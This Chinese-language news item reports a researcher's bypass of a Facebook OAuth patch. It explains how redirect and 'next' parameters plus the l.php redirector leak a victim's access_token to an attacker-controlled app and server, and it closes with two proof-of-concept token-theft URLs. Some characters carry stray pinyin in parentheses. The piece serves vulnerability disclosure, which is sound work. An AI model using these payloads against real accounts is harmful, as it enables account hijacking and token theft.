Facebook爆出新的OAuth漏洞
還記得上次Facebook的OAuth漏洞嗎?該漏洞允許攻擊者不需要與受害者有任何互動(dòng)即可劫持賬戶,這個(gè)漏洞是由白帽子Nir Goldshlager發(fā)現(xiàn)的。在這之后,F(xiàn)acebook安全團(tuán)隊(duì)修復(fù)了這個(gè)漏洞。
昨天Goldshlager繞過Facebook安全團(tuán)隊(duì)的補(bǔ)丁,再次攻破了Facebook的OAuth的機(jī)制。他在一篇博客中記錄了完整的入侵Facebook的過程。
OAuth URL包含兩個(gè)參數(shù)“redirect_uri”和”next”,利用在上一個(gè)補(bǔ)丁中使用正則表達(dá)式來保證安全性(%23xxx!,%23/xxx,/)” 。
而Goldshlager發(fā)現(xiàn)”next”參數(shù)可以使facebook.facebook.com域名為有效鏈接,并可利用多種hash符號(hào)可以繞過正則表達(dá)式的保護(hù)。他利用 facebook.com/l.php 文件(用于重定向用戶到外部鏈接)使受害者重定向到自己的惡意Facebook應(yīng)用程序,然后攻擊者的惡意應(yīng)用程序會(huì)記錄用戶的token,從而實(shí)現(xiàn)劫持。
重定向過程中會(huì)發(fā)出一個(gè)警告,不過不用擔(dān)心,他發(fā)現(xiàn)使用5個(gè)字節(jié)的數(shù)據(jù)能夠繞過此警告消息
例如:
https://www.facebook.com/l/goldy;touch.facebook.com/apps/sdfsdsdsgs (他使用的是5個(gè)字節(jié)的數(shù)據(jù))
最后,受害者重定向用戶到外部網(wǎng)站(files.nirgoldshlager.com,攻擊者創(chuàng)建的服務(wù)器)的惡意Facebook應(yīng)用程序,從而受害者的access_token的將被記錄下來。利用這個(gè)Facebook的OAuth的漏洞,可以劫持任何Facebook賬戶。
POC:
Firefox:
https://www.facebook.com/connect/uiserver.php?app_id=220764691281998&next=https://facebook.facebook.com/%23/x/%23/l/ggggg%3btouch.facebook.com/apps/sdfsdsdsgs%23&display=page&fbconnect=1&method=permissions.request&response_type=token
其他瀏覽器:
https://www.facebook.com/dialog/permissions.request?app_id=220764691281998&display=page&next=https%3A%2F%2Ftouch.facebook.com%2F%2523%2521%2Fapps%2Ftestestestte%2F&response_type=token&perms=email&fbconnect=1